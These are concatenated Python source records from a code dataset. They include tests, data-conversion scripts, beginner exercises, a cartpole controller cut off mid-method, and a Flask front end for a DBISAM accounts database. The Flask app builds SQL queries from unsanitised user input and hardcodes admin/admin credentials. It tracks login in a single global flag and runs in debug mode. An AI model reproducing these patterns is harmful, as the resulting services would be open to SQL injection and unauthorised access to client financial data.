in [\n \"timestamp\",\n \"a2_alpha\",\n \"b2_alpha\",\n \"ab_alpha\",\n \"Fa_alpha\",\n \"Fb_alpha\",\n ]:\n assert getattr(vectorA.data[i], attr) == getattr(vectorB.data[i], attr)\n\n\ndef test_extract_singleIFOmultiFatoms_from_multiAtoms(\n arbitrary_singleAtoms, arbitrary_multiAtoms\n):\n single_atoms = extract_singleIFOmultiFatoms_from_multiAtoms(arbitrary_multiAtoms, 0)\n compare_FstatAtomVector(single_atoms.data[0], arbitrary_multiAtoms.data[0])\n\n with pytest.raises(ValueError):\n extract_singleIFOmultiFatoms_from_multiAtoms(arbitrary_multiAtoms, 1)\n\n\ndef test_copy_FstatAtomVector(arbitrary_singleAtoms):\n single_atoms = lalpulsar.CreateFstatAtomVector(arbitrary_singleAtoms.length)\n copy_FstatAtomVector(single_atoms, arbitrary_singleAtoms)\n compare_FstatAtomVector(single_atoms, arbitrary_singleAtoms)\n\n faulty_atoms = lalpulsar.CreateFstatAtomVector(arbitrary_singleAtoms.length + 1)\n with pytest.raises(ValueError):\n copy_FstatAtomVector(faulty_atoms, arbitrary_singleAtoms)\n","sub_path":"tests/test_utils/test_atoms.py","file_name":"test_atoms.py","file_ext":"py","file_size_in_byte":2028,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"301671285","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Jul 25 08:27:24 2020\n\n@author: R.S_PC\n\"\"\"\n\nimport pandas as pd\nimport numpy as np\ntr = pd.read_csv('TransitionCellsAtr.csv', header=None)\ntr = np.asarray(tr)\n\nnn = pd.read_csv('nodeName.csv', header=None)\nnn = np.asarray(nn)\n\nen = pd.read_csv('edgeName.csv', header=None)\nen = np.asarray(en)\n\nfor i in range(tr.shape[0]):\n if tr[i, 1] in nn and tr[i, 2] in nn:\n np.delete(tr, i, 0)\nnp.savetxt('F:\\Stuff\\Current_Term\\KNTU\\papers\\ISI\\csvs\\TransitionCellsAtr2.csv', tr, delimiter=',', fmt='%d')\n","sub_path":"Codes1/testtoclean.py","file_name":"testtoclean.py","file_ext":"py","file_size_in_byte":545,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"22602993","text":"\"\"\"Convert .npy file to .mat file.\n\nCommand Line Usage: python npy_to_mat.py path mat_file_path\n\"\"\"\nfrom __future__ import print_function\nimport sys\nimport argparse\nimport os\n# import re\nimport numpy as np\nfrom scipy import io\n\n\ndef npy_to_mat(path, mat_file_path):\n \"\"\"Convert .npy file to .mat file.\n \n Use .npy filename as variable names in the .mat file.\n Refer to https://docs.scipy.org/doc/scipy/reference/index.html for SciPy.\n \n :param path: a directory path or a .npy file path.\n :param mat_file_path: a .mat file path.\n :return: None.\n \"\"\"\n try:\n if not os.path.exists(path):\n raise TypeError\n except TypeError:\n print(path, \"does not exists\")\n return\n try:\n if not os.path.basename(mat_file_path):\n raise TypeError\n elif os.path.dirname(mat_file_path) and not os.path.exists(os.path.dirname(mat_file_path)):\n os.makedirs(os.path.dirname(mat_file_path))\n except TypeError:\n print(mat_file_path, \"is not a filename\")\n return\n if os.path.isdir(path):\n data = {}\n for f in os.listdir(path):\n variable, extension = os.path.splitext(f)\n if extension == \".npy\":\n try:\n value = np.load(os.path.join(path, f))\n except (IOError, ValueError) as e:\n print(repr(e))\n else:\n # MATLAB only loads variables that start with normal characters\n variable = variable.lstrip(\"0123456789.-_ \")\n data[variable] = value\n if data:\n try:\n io.savemat(mat_file_path, data,\n format=\"5\", long_field_names=False, do_compression=False, oned_as=\"row\")\n except IOError as e:\n print(repr(e))\n else:\n print(\"no .npy files found in the\", path)\n else:\n try:\n value = np.load(path)\n except (IOError, ValueError) as e:\n print(repr(e))\n else:\n variable = os.path.splitext(os.path.basename(path))[0]\n # variable = re.split(r\"[\\\\/]\", os.path.splitext(path)[0])[-1]\n # r\"[\\\\/]\" can be replaced by r\"\\\\|/\" or \"\\\\\\|/\"\n try:\n io.savemat(mat_file_path, {variable: value})\n except IOError as e:\n print(repr(e))\n\n\ndef _main(argv=None):\n if argv is None:\n argv = sys.argv[1:]\n parser = argparse.ArgumentParser()\n parser.add_argument(\"path\")\n parser.add_argument(\"mat_file_path\")\n try:\n args = parser.parse_args(argv)\n except argparse.ArgumentError as msg:\n print(repr(msg), file=sys.stderr)\n return 1\n else:\n npy_to_mat(args.path, args.mat_file_path)\n return 0\n\n\nif __name__ == \"__main__\":\n sys.exit(_main())\n","sub_path":"npy_to_mat.py","file_name":"npy_to_mat.py","file_ext":"py","file_size_in_byte":2868,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"585713743","text":"#Importing required libraries and modules\r\nfrom flask import Flask, render_template, flash, request,redirect,url_for,send_file,send_from_directory,abort\r\nimport pyodbc \r\nimport pandas as pd\r\nimport win32com.client\r\nfrom pywintypes import com_error\r\n#import win32com.client\r\n#from pywintypes import com_error\r\nfrom xlsxwriter.utility import xl_rowcol_to_cell\r\nfrom datetime import datetime\r\nimport sys\r\nimport time\r\n\r\n#################################################################################################\r\n\r\n#Before deploying service:\r\n\r\n#Step1: Install virtual environment\r\n#Windows:\r\n# py -m pip install --user virtualenv\r\n#Linux/MacOS:\r\n#python3 -m pip install --user virtualenv\r\n\r\n#Step 2: Create an environment\r\n#Windows:\r\n# Navigate to service folder and execute: py -m venv env\r\n#Linux:\r\n# python3 -m venv env\r\n\r\n#Step3: Activate the environment\r\n#Windows:\r\n# .\\env\\Scripts\\activate\r\n#MacOS/Linux:\r\n#source env/bin/activate\r\n\r\n#Step 4: Install all required python stuff\r\n\r\n#must run thru terminal before deploying code:\r\n#pip3 install Flask\r\n#pip3 install pandas\r\n#pip3 install pyodbc\r\n#pip3 install openpyxl\r\n#pip3 install pywin32\r\n#pip3 install xlsxwriter\r\n\r\n#Step5: Launch the app:\r\n# py A2Workspace.py\r\n\r\n#################################################\r\n\r\n#Before running the script:\r\n\r\n#navigate to .py directory\r\n#run venv\\Scripts\\activate\r\n\r\n#################################################\r\n\r\napp = Flask(__name__)\r\nlog = 0\r\n\r\n@app.route('/', methods=['POST','GET'])\r\ndef index():\r\n if log == 1:\r\n return render_template('index.html')\r\n else:\r\n return redirect('/login')\r\n #this will be the home and where you can select all options\r\n\r\n# Route for handling the login page logic\r\n@app.route('/login', methods=['POST','GET'])\r\ndef login():\r\n global log\r\n error = None\r\n if request.method == 'POST':\r\n if request.form['user'] != 'admin' or request.form['password'] != 'admin':\r\n error = 'Credenciales invalidas.'\r\n else:\r\n log = 1\r\n return redirect('/')\r\n return render_template('login.html', error=error)\r\n\r\n@app.route(\"/modify_document\", methods=[\"GET\", \"POST\"])\r\ndef modify_document():\r\n operation = 0\r\n if log==1:\r\n #any POST submitted? Capture params and perform task\r\n if request.method == 'POST':\r\n #capture parameters sent from from\r\n num1 = request.form['num1']\r\n num2 = request.form['num2']\r\n num3 = request.form['num3']\r\n if (len(num1)==8 and len(num2)==8 and len(num3)==5):\r\n connect,cursor = connection(1)\r\n connect,cursor = connection(1)\r\n query1 = query_construction(ccode1=num2,ccode2=num1,ccode3=num3,query_type=1)\r\n operation = querying_dbisam(query1=query1,connect=connect,cursor=cursor,query_type=1)\r\n if operation == 1:\r\n return redirect('/query_exception')\r\n if operation == 0:\r\n return redirect('/query_ok')\r\n else:\r\n return redirect('/query_exception')\r\n #If no form has been submitted then render form\r\n else:\r\n return render_template(\"modify_document.html\")\r\n else:\r\n return redirect('/login')\r\n\r\n@app.route(\"/modify_date\", methods=[\"GET\", \"POST\"])\r\ndef modify_date():\r\n #any POST submitted? Capture params and perform task\r\n if log==1:\r\n if request.method == 'POST':\r\n #capture parameters sent from from\r\n num1 = request.form['num1']\r\n date1 = request.form['date1']\r\n if len(num1)==8:\r\n connect,cursor = connection(1)\r\n query1,query2 = query_construction(ccode1=num1,ccode2=date1,ccode3=None,query_type=4)\r\n operation = querying_dbisam(query1=query1,connect=connect,cursor=cursor,query_type=1)\r\n if operation == 1:\r\n return redirect('/query_exception')\r\n if operation == 0:\r\n return redirect('/query_ok')\r\n else:\r\n return redirect('/query_exception')\r\n else:\r\n #If no form has been submitted then render form\r\n return render_template(\"modify_date.html\")\r\n else:\r\n return redirect('login')\r\n\r\n@app.route(\"/query_document\", methods=[\"GET\", \"POST\"])\r\ndef query_document():\r\n if log==1:\r\n #any POST submitted? Capture params and perform task\r\n if request.method == 'POST':\r\n #capture parameters sent from from\r\n num1 = request.form['num1']\r\n if len(num1)==5:\r\n try:\r\n connect = connection(0)\r\n query1,query2 = query_construction(ccode1=num1,ccode2='0',ccode3=None,query_type=3)\r\n result = querying_dbisam(query1=query1,connect=connect,query_type=3)\r\n result = result.rename(columns={'FCC_CODIGO':'# Afiliado','FCC_NUMERO':'# Documento','FCC_FECHAEMISION':'Fecha Emision','FCC_TIPOTRANSACCION':'Tipo Transaccion','FCC_DESCRIPCIONMOV':'Descripcion','FCC_MONTODOCUMENTO':'Monto','FCC_SALDODOCUMENTO':'Saldo Documento'})\r\n result = result.replace('\\n','',regex=True).replace('\\r','',regex=True)\r\n if len(result)>0:\r\n return render_template(\"document.html\",tables=[result.to_html(classes='data')],titles=result.columns.values)\r\n else:\r\n return redirect('/invalid_query')\r\n except Exception as e:\r\n return redirect('/invalid_query')\r\n else:\r\n return redirect('/invalid_query')\r\n else:\r\n #If no form has been submitted then render form\r\n return render_template(\"query_document.html\")\r\n else:\r\n return redirect('login')\r\n\r\n@app.route(\"/query_affiliate\", methods=[\"GET\", \"POST\"])\r\ndef query_affiliate():\r\n if log==1:\r\n #any POST submitted? Capture params and perform task\r\n if request.method == 'POST':\r\n #capture parameters sent from from\r\n num1 = request.form['num1']\r\n if len(num1)==5:\r\n try:\r\n connect = connection(0)\r\n query1,query2 = query_construction(ccode1='0',ccode2=num1,ccode3=None,query_type=2)\r\n result = querying_dbisam(query2=query2,connect=connect,query_type=2)\r\n result = result.rename(columns={'FC_CODIGO':'# Cliente','FC_DESCRIPCION':'Nombre','FC_STATUS':'Estado','FC_DIRECCION1':'Direccion','FC_TELEFONO':'Telefono','FC_EMAIL':'Email'})\r\n result['Estado'] = result['Estado'].apply(lambda x: 'Activo' if x == True else 'Inactivo')\r\n if len(result)>0:\r\n return render_template(\"affiliate.html\",tables=[result.to_html(classes='data')],titles=result.columns.values)\r\n else:\r\n return redirect('/invalid_query')\r\n except Exception as e:\r\n return redirect('/invalid_query')\r\n else:\r\n return redirect('/invalid_query')\r\n else:\r\n #If no form has been submitted then render form\r\n return render_template(\"query_affiliate.html\")\r\n else:\r\n return redirect('/login')\r\n\r\n\r\n@app.route(\"/get_account_state\", methods=[\"GET\", \"POST\"])\r\ndef send_account_state():\r\n #any GET submitted? Capture params and perform task\r\n if request.method == 'GET':\r\n #capture parameters sent from form\r\n try:\r\n num1 = request.args.get('num1', None)\r\n except Exception as e:\r\n abort(404)\r\n if len(num1)==5:\r\n try:\r\n connect = connection(0)\r\n query1,query2 = query_construction(ccode1=num1,ccode2=None,query_type=0)\r\n acc_query,client_query = querying_dbisam(query1=query1,query2=query2,connect=connect,query_type=0)\r\n if len(client_query)>0:\r\n pass\r\n else:\r\n abort(404)\r\n #processing the previous datasets in order to remove what's not needed and also to get the account balance result\r\n acc_balance_df,acc_result,client_result = data_processing(acc_query,client_query)\r\n #creating an excel file with the resulting dataframes\r\n build_excel(acc_balance_df,acc_result,client_result,num1)\r\n #transforming excel file to pdf format so that's the business requirement.\r\n excel_to_pdf(num1)\r\n filepath = r'C://Documents/PythonProjects/A2Workspace/temp/'+num1+'.pdf'\r\n return send_file(filepath)\r\n except Exception as e:\r\n abort(404)\r\n else:\r\n abort(404)\r\n\r\n #If no form has been submitted then crash\r\n abort(404)\r\n\r\n\r\n@app.route(\"/query_exception\")\r\ndef query_exception():\r\n return render_template(\"query_exception.html\")\r\n\r\n@app.route(\"/query_ok\")\r\ndef query_ok():\r\n return render_template(\"query_ok.html\")\r\n\r\n@app.route(\"/invalid_query\")\r\ndef invalid_query():\r\n return render_template(\"invalid_query.html\")\r\n\r\n@app.route(\"/exit\")\r\ndef exit():\r\n global log\r\n log=0\r\n return redirect(\"/login\")\r\n\r\ndef connection(connection_type):\r\n\r\n \"\"\"This function handles the pyodbc.connect and returns a 'connect' object used to query DBISAM\"\"\"\r\n if connection_type==0:\r\n #Connection to DBISAM through ODBC to only read\r\n connect = pyodbc.connect(\"DRIVER={DBISAM 4 ODBC Driver};ConnectionType=Local;CatalogName=C:/a2AdminCCN/Empre001/Data;\")\r\n return connect\r\n if connection_type==1:\r\n #Connection to DBISAM through ODBC to r/w\r\n connect = pyodbc.connect(\"DRIVER={DBISAM 4 ODBC Driver};ConnectionType=Local;CatalogName=C:/a2AdminCCN/Empre001/Data;ReadOnly=False\")\r\n cursor = connect.cursor()\r\n return connect,cursor\r\n\r\ndef query_construction(ccode1=None,ccode2=None,ccode3=None,query_type=None):\r\n\r\n \"\"\"This function builds the queries to then extract the required data from DBISAM\"\"\"\r\n if query_type==0:\r\n #Queries' construction\r\n code = \"'\"+ccode1+\"'\"\r\n query1 = 'SELECT FCC_CODIGO,FCC_NUMERO,FCC_FECHAEMISION,FCC_TIPOTRANSACCION,FCC_DESCRIPCIONMOV,FCC_MONTODOCUMENTO,FCC_SALDODOCUMENTO FROM Scuentasxcobrar WHERE FCC_CODIGO LIKE '\r\n query1 = query1+code\r\n query2 = 'SELECT FC_CODIGO,FC_DESCRIPCION,FC_STATUS,FC_DIRECCION1,FC_TELEFONO,FC_EMAIL FROM Sclientes WHERE FC_CODIGO LIKE '\r\n query2 = query2+code\r\n return query1,query2\r\n if query_type==1:\r\n code1 = \"'\"+ccode1+\"'\"\r\n code2 = \"'\"+ccode2+\"'\"\r\n code3 = \"'\"+ccode3+\"'\"\r\n #query1 = 'SELECT FCC_CODIGO, FCC_TIPOTRANSACCION FROM Scuentasxcobrar WHERE FCC_TIPOTRANSACCION=6 AND FCC_NUMERO='+code1+' UPDATE Scuentasxcobrar SET FCC_NUMERO='+code2+' WHERE FCC_NUMERO='+code1\r\n query1 = 'UPDATE Scuentasxcobrar SET FCC_NUMERO='+code1+' WHERE FCC_NUMERO='+code2+' AND FCC_CODIGO='+code3+' AND FCC_TIPOTRANSACCION=6'\r\n return query1\r\n if query_type==2:\r\n #Queries' construction\r\n code = \"'\"+ccode2+\"'\"\r\n query1 = 'SELECT FCC_CODIGO,FCC_NUMERO,FCC_FECHAEMISION,FCC_TIPOTRANSACCION,FCC_DESCRIPCIONMOV,FCC_MONTODOCUMENTO,FCC_SALDODOCUMENTO FROM Scuentasxcobrar WHERE FCC_CODIGO LIKE '\r\n query1 = query1+code\r\n query2 = 'SELECT FC_CODIGO,FC_DESCRIPCION,FC_STATUS,FC_DIRECCION1,FC_TELEFONO,FC_EMAIL FROM Sclientes WHERE FC_CODIGO LIKE '\r\n query2 = query2+code\r\n return query1,query2\r\n if query_type==3:\r\n #Queries' construction\r\n code = \"'\"+ccode1+\"'\"\r\n query1 = 'SELECT FCC_CODIGO,FCC_NUMERO,FCC_FECHAEMISION,FCC_TIPOTRANSACCION,FCC_DESCRIPCIONMOV,FCC_MONTODOCUMENTO,FCC_SALDODOCUMENTO FROM Scuentasxcobrar WHERE FCC_CODIGO LIKE '\r\n query1 = query1+code\r\n query2 = None\r\n return query1,query2\r\n if query_type==4:\r\n #Queries' construction\r\n code = \"'\"+ccode1+\"'\"\r\n date = \"'\"+ccode2+\"'\"\r\n query1 = 'UPDATE Scuentasxcobrar SET FCC_FECHAEMISION='+date+' WHERE FCC_NUMERO='+code\r\n query2 = None\r\n return query1,query2\r\n\r\ndef querying_dbisam(query1=None,query2=None,connect=None,cursor=None,query_type=None):\r\n\r\n \"\"\"This function queries DBISAM using previous strings built at query_construction function.\"\"\"\r\n if query_type==0:\r\n #Querying 'SCuentasxcobrar' and 'SClientes' data with Pandas\r\n acc_query = pd.read_sql_query(query1, connect)\r\n client_query = pd.read_sql_query(query2, connect)\r\n return acc_query,client_query\r\n if query_type==1:\r\n #Querying 'SCuentasxcobrar'\r\n try:\r\n cursor.execute(query1)\r\n connect.commit()\r\n except Exception as e:\r\n return 1\r\n return 0\r\n if query_type==2:\r\n #Querying 'SClientes' data with Pandas\r\n client_query = pd.read_sql_query(query2, connect)\r\n return client_query\r\n if query_type==3:\r\n #Querying 'SCuentasxcobrar' data with Pandas\r\n acc_query = pd.read_sql_query(query1, connect)\r\n return acc_query\r\n\r\ndef data_processing(acc_query,client_query):\r\n\r\n \"\"\"This function takes query results and packs it into Pandas dataframes to process the data and later on build the files\"\"\"\r\n #Creating DataFrames with the previous query results\r\n acc_result = pd.DataFrame(acc_query)\r\n client_result = pd.DataFrame(client_query)\r\n #After the query, FCC_CODIGO is not useful, hence, dropping.\r\n del acc_result['FCC_CODIGO']\r\n #Renaming columns so they are more friendly to users\r\n client_result = client_result.rename(columns={'FC_CODIGO':'# Cliente','FC_DESCRIPCION':'Nombre','FC_STATUS':'Estado','FC_DIRECCION1':'Direccion','FC_TELEFONO':'Telefono','FC_EMAIL':'Email'})\r\n acc_result = acc_result.rename(columns={'FCC_NUMERO':'# Documento','FCC_FECHAEMISION':'Fecha Emision','FCC_TIPOTRANSACCION':'Tipo Transaccion','FCC_DESCRIPCIONMOV':'Descripcion','FCC_MONTODOCUMENTO':'Monto','FCC_SALDODOCUMENTO':'Saldo Documento'})\r\n #Renaming 'Estado' values to more appropiate ones\r\n client_result['Estado'] = client_result['Estado'].apply(lambda x: 'Activo' if x == True else 'Inactivo')\r\n #Renaming 'Tipo Transaccion' values to more meaningful ones\r\n acc_result['Tipo Transaccion'] = acc_result['Tipo Transaccion'].apply(lambda x: 'Factura' if x == 1 else x)\r\n acc_result['Tipo Transaccion'] = acc_result['Tipo Transaccion'].apply(lambda x: 'Nota debito' if x == 2 else x)\r\n acc_result['Tipo Transaccion'] = acc_result['Tipo Transaccion'].apply(lambda x: 'Pago' if x == 4 else x)\r\n acc_result['Tipo Transaccion'] = acc_result['Tipo Transaccion'].apply(lambda x: 'Nota credito' if x == 5 else x)\r\n acc_result['Tipo Transaccion'] = acc_result['Tipo Transaccion'].apply(lambda x: 'Adelanto' if x == 6 else x)\r\n acc_result['Tipo Transaccion'] = acc_result['Tipo Transaccion'].apply(lambda x: 'NC por adelanto' if x == 9 else x)\r\n #Dropping 'Tipo Transaccion' == 54 as per it won't add any value to the final result\r\n acc_result = acc_result[acc_result['Tipo Transaccion']!=54]\r\n #Setting proper indexes\r\n client_result = client_result.set_index('# Cliente')\r\n acc_result = acc_result.set_index('# Documento')\r\n #Calculating account balance\r\n acc_balance = float(0)\r\n for x in range(len(acc_result)):\r\n if acc_result.iloc[x]['Tipo Transaccion'] == 'Factura':\r\n acc_balance -= acc_result.iloc[x]['Monto']\r\n if acc_result.iloc[x]['Tipo Transaccion'] == 'Nota debito':\r\n acc_balance -= acc_result.iloc[x]['Monto']\r\n if acc_result.iloc[x]['Tipo Transaccion'] == 'Pago':\r\n acc_balance += acc_result.iloc[x]['Monto']\r\n if acc_result.iloc[x]['Tipo Transaccion'] == 'Nota credito':\r\n acc_balance += acc_result.iloc[x]['Monto']\r\n if acc_result.iloc[x]['Tipo Transaccion'] == 'Adelanto':\r\n acc_balance += acc_result.iloc[x]['Monto'] \r\n #Building account balance DataFrame to then insert it into the excel file\r\n acc_balance_df = pd.Series({'Saldo cuenta':acc_balance})\r\n acc_balance_df = pd.DataFrame(acc_balance_df).transpose()\r\n #Setting DF style\r\n acc_balance_df = acc_balance_df.style.set_properties(**{'background-color': 'white','font-size': '10pt'})\r\n\r\n return acc_balance_df,acc_result,client_result\r\n\r\ndef build_excel(acc_balance_df,acc_result,client_result,client_number):\r\n\r\n \"\"\"This function takes three dataframes resulting from the previous processing and buils an excel file with them.\"\"\"\r\n #Saving DataFrames to an Excel File\r\n filepath = 'temp/'+client_number+'.xlsx'\r\n with pd.ExcelWriter(filepath, engine='xlsxwriter') as writer:\r\n client_result.to_excel(writer, sheet_name='Sheet1', startcol=1,startrow=6)\r\n acc_balance_df.to_excel(writer, sheet_name='Sheet1',startcol=1, startrow=9)\r\n acc_result.to_excel(writer, sheet_name='Sheet1',startcol=1, startrow=12)\r\n #Adding style and format\r\n workbook = writer.book\r\n worksheet = writer.sheets['Sheet1']\r\n font_fmt = workbook.add_format({'font_name': 'Calibri', 'font_size': 10,'bold': False})\r\n font_fmt1 = workbook.add_format({'font_name': 'Calibri', 'font_size': 12,'bold': False})\r\n font_fmt2 = workbook.add_format({'font_name': 'Calibri', 'font_size': 13,'bold': True})\r\n font_fmt3 = workbook.add_format({'font_name': 'Calibri', 'font_size': 12,'bold': False,'align':'right'})\r\n worksheet.set_landscape()\r\n worksheet.set_column('A:A', 0,font_fmt)\r\n worksheet.set_column('B:B', 15,font_fmt)\r\n worksheet.set_column('C:C', 20,font_fmt)\r\n worksheet.set_column('D:D', 15,font_fmt)\r\n worksheet.set_column('E:E', 30,font_fmt)\r\n worksheet.set_column('F:F', 15,font_fmt)\r\n worksheet.set_column('G:G', 20,font_fmt)\r\n #Adding header and giving its format\r\n worksheet.write('B2', 'Colegio de Contadores Públicos',font_fmt2)\r\n worksheet.write('B3', 'Estado de cuenta',font_fmt1)\r\n #worksheet.write('B3', 'Cuentas por cobrar',font_fmt1)\r\n worksheet.write('G2', datetime.today().strftime('%d-%m-%Y'),font_fmt3)\r\n writer.save()\r\n\r\n return \r\n\r\ndef excel_to_pdf(client_number):\r\n\r\n \"\"\"This function takes the excel file and transforms it into a pdf one which will be the final product.\"\"\"\r\n # Path to original excel file\r\n WB_PATH = r'C:/Users//Documents/PythonProjects/A2Workspace/temp/'+client_number+'.xlsx'\r\n # PDF path when saving\r\n PATH_TO_PDF = 'PythonProjects/A2Workspace/temp/'+client_number+'.pdf'\r\n excel = win32com.client.Dispatch(\"Excel.Application\")\r\n excel.Visible = False\r\n try:\r\n print('Start conversion to PDF')\r\n # Open excel file\r\n wb = excel.Workbooks.Open(WB_PATH)\r\n # Specifying the sheet that will be converted to PDF format\r\n ws_index_list = [1]\r\n wb.WorkSheets(ws_index_list).Select()\r\n # Save\r\n wb.ActiveSheet.ExportAsFixedFormat(0, PATH_TO_PDF)\r\n except com_error as e:\r\n print('failed.')\r\n abort(404)\r\n else:\r\n print('Succeeded.')\r\n finally:\r\n wb.Close(True)\r\n excel.Quit()\r\n\r\n return\r\n\r\nif __name__ == '__main__':\r\n app.run(debug=True)\r\n","sub_path":"A2Workspace.py","file_name":"A2Workspace.py","file_ext":"py","file_size_in_byte":19455,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"465122062","text":"#from a list separate the integers, strings and floats elements into three different lists.\nlist=[2,5.5,\"mamata\",6,8,3.2,\"barsa\"]\nlistint=[]\nlistfloat=[]\nliststr=[]\nfor x in list:\n if type(x)==int:\n listint.append(x)\n elif type(x)==float:\n listfloat.append(x)\n else:\n liststr.append(x)\nprint(\"the required list is \", list)\nprint(\"the list of integer is \",listint)\nprint(\"the list of float is \", listfloat)\nprint(\"the list of string is \", liststr)","sub_path":"test4.py","file_name":"test4.py","file_ext":"py","file_size_in_byte":476,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"297254721","text":"#!/usr/bin/python3\n\nf = open(\"pe0022_names.txt\")\nraw = f.read()\nf.close()\n\n# get rid of quote marks\nraw = raw.replace('\"', \"\")\nnames = raw.split(\",\")\nnames.sort()\n\nscores = []\nfor i, name in enumerate(names, 1):\n s = 0\n name = name.upper()\n for letter in name:\n # This adds up the letter as specified in the problem using ascii values\n s += ord(letter) - 64\n scores.append(s*i)\n\nprint(sum(scores))\n","sub_path":"pe0022.py","file_name":"pe0022.py","file_ext":"py","file_size_in_byte":424,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"486403817","text":"#!/usr/bin/python3\n#date: 17/09/2020\n'''\nSequence IJ 2\n\nMake a program that prints the sequence like the following exemple.\n\nInput: This problem doesn't have input.\nOutput: Print the sequence like the example below.\n'''\n\n'''\ndef contador(coluna1, coluna2, accumulator, index):\n\twhile (accumulator > -1):\n\t\tprint(\"I={} J={}\".format(coluna1[index], coluna2[accumulator]))\n\t\taccumulator -= 1\n\ndef main():\n\tI=\"1, 3, 5, 7, 9\" #coluna1\n\tJ=[5,6,7] #coluna2\n\tacc = 2 #accumulator\n\t\n\t#for i in range(len(I))\n\treturn contador(I, J, acc, 0), contador(I, J, acc, 1), contador(I, J, acc, 2), contador(I, J, acc, 3), contador(I, J, acc, 4)\n\nif __name__ == '__main__':\n\tmain()\n\n'''\n\ncoluna1 = '13579' #I\ncoluna2 = '765' #J\nindex = 0\n\nwhile ( index < 3):\n\tprint(\"I={} J={}\".format(int(coluna1[0]), int(coluna2[index])))\n\tindex += 1\n\nindex = 0\n\nwhile ( index < 3):\n\tprint(\"I={} J={}\".format(int(coluna1[1]), int(coluna2[index])))\n\tindex += 1\n\nindex = 0\n\nwhile ( index < 3):\n\tprint(\"I={} J={}\".format(int(coluna1[2]), int(coluna2[index])))\n\tindex += 1\n\nindex = 0\n\nwhile ( index < 3):\n\tprint(\"I={} J={}\".format(int(coluna1[3]), int(coluna2[index])))\n\tindex += 1\n\nindex = 0\t\n\nwhile ( index < 3):\n\tprint(\"I={} J={}\".format(int(coluna1[4]), int(coluna2[index])))\n\tindex += 1\n\n'''\n\tprint(\"I=%d J=%d\", int(13579/1000),int(765/100))# dúvida: se não converter, o python faz conversão implícita?\n\tdenominador += '0'\n\taccumulator += 1\n\t'''","sub_path":"URI-VOAL/1096.py","file_name":"1096.py","file_ext":"py","file_size_in_byte":1415,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"580446787","text":"import numpy as np\nfrom numpy import cos, sin, pi\nimport matplotlib.pyplot as plt\nimport matplotlib.animation as animation\nimport scipy.integrate as integrate\n\nfrom numba import jit\nimport time\nimport nn_tools\n\n\nclass Cartpole:\n \"\"\"\n Implements dynamics, animation, and control for for a simple cartpole pendulum.\n\n Meant as a testbed for different controllers, the default controller (implemented in control) does a pretty good job\n though.\n\n The default constructor just goes, I find it more convenient to just go ahead and construct an object and then c\n change parameters after the fact.\n\n I.E.\n\n cart = Cartpole()\n cart.L = 5.0\n\n Attributes:\n L - length of the pendulum in (m)\n mc - mass of the kart (kg)\n mp - magnitude of pointmass at the end of the cart's pole (kg)\n g - force f gravity (N)\n \n \"\"\"\n\n # Define constants (geometry and mass properties):\n def __init__(self, time, u_max, Ts, look_back):\n self.L = 1.0; # length of the pole (m)\n self.mc = 4.0 # mass of the cart (kg)\n self.mp = 1.0 # mass of the ball at the end of the pole\n self.time = time\n self.dt = time[1]-time[0]\n self.g = 9.8;\n self.u_max = u_max\n \n self.Ts = Ts\n self.look_back = look_back;\n self.tNext = 0\n self.u_hold = []\n self.y_lb = []\n self.verbose = 0\n self.flag_LQR = 0\n \n # State deviation considered as okay\n theta = pi*1.02\n x = 0.02\n th_dot = 0.02\n xdot = 0.02\n \n # Respective error (euclidean norm)\n final_state_dev = np.array([theta, x, th_dot, xdot])\n self.final_state = np.array([pi, 0, 0, 0])\n self.err_final = np.sqrt(np.sum((final_state_dev-self.final_state)**2))\n \n def simulate_ES_control(self, num_trials):\n ## Run a bunch of trials using the energy shaping controller\n # TODO: update this to the method I defined in misc/dimension_test\n \n # parameters for the amount of different trajectories we generate with the energy shaping controller\n num_states = 4\n num_t = len(self.time)\n self.u_hist = []\n time_bal = []\n u = np.zeros((num_t, 1, num_trials))\n y = np.zeros((num_t, num_states, num_trials))\n #Create random initial state values\n init_gen = np.random.random((num_trials, num_states))*0.1\n #Adjust values of pi\n init_gen[:, 0:1] = np.random.random((num_trials, 1))*pi/36\n \n for i in range(num_trials):\n # integrate the ODE using scipy.integrate.\n # TODO switch over to the more modern solve_ivp, as we do for the pendubot\n y[:, :, i] = integrate.odeint(self.derivs, init_gen[i, :], self.time)\n flag = 1\n for t in range(len(self.time)):\n u[t,0:1,i] = self.control(y[t,:,i]) \n if (140 * pi/180 < y[t,0,i]) and flag:\n time_bal.append(t)\n flag = 0\n \n # set initial state object variable to first case\n theta = 0\n x = 0.0\n th_dot = 2*(0/num_trials) - 1 \n xdot = 0.0\n self.init_state = np.array([theta, x, th_dot, xdot])\n # integrate the ODE using scipy.integrate.\n # TODO switch over to the more modern solve_ivp, as we do for the pendubot\n y_stand = integrate.odeint(self.derivs, self.init_state, self.time)\n u_stand = np.zeros((y_stand.shape[0],1))\n for t in range(len(self.time)):\n u_stand[t] = self.control(y_stand[t]) \n \n return y, u, y_stand, u_stand, time_bal\n \n def simulate_control(self, net, netType, init_state = np.array([0, 0, -1, 0])):\n\n self.u_hist = []\n self.tNext = 0\n \n if(netType == 'FF'):\n # Feed forward \n self.control = self.make_ff_controller(net)\n # Run the simulation for the feedforward network\n # Fill in our u after the fact..\n y = integrate.odeint(self.derivs_dig, init_state, self.time, hmax = self.dt/3) \n elif(netType == 'FFLB'):\n # Feed forward with looking back\n self.control = self.make_fflb_controller(net) \n # Run the simulation for the Feedforward look back network\n # integrate the ODE using scipy.integrate.\n # Fill in our u after the fact..\n y = integrate.odeint(self.derivs_dig_lb, init_state, self.time, hmax = self.dt/3)\n elif(netType == 'LSTM'):\n # Long short-term memory\n self.control = self.make_lstm_controller(net)\n # integrate the ODE using scipy.integrate.\n # Fill in our u after the fact..\n y = integrate.odeint(self.derivs_dig_lb, init_state, self.time, hmax = self.dt/3) \n elif(netType == 'Parallel_ext_log'):\n # Long short-term memory\n 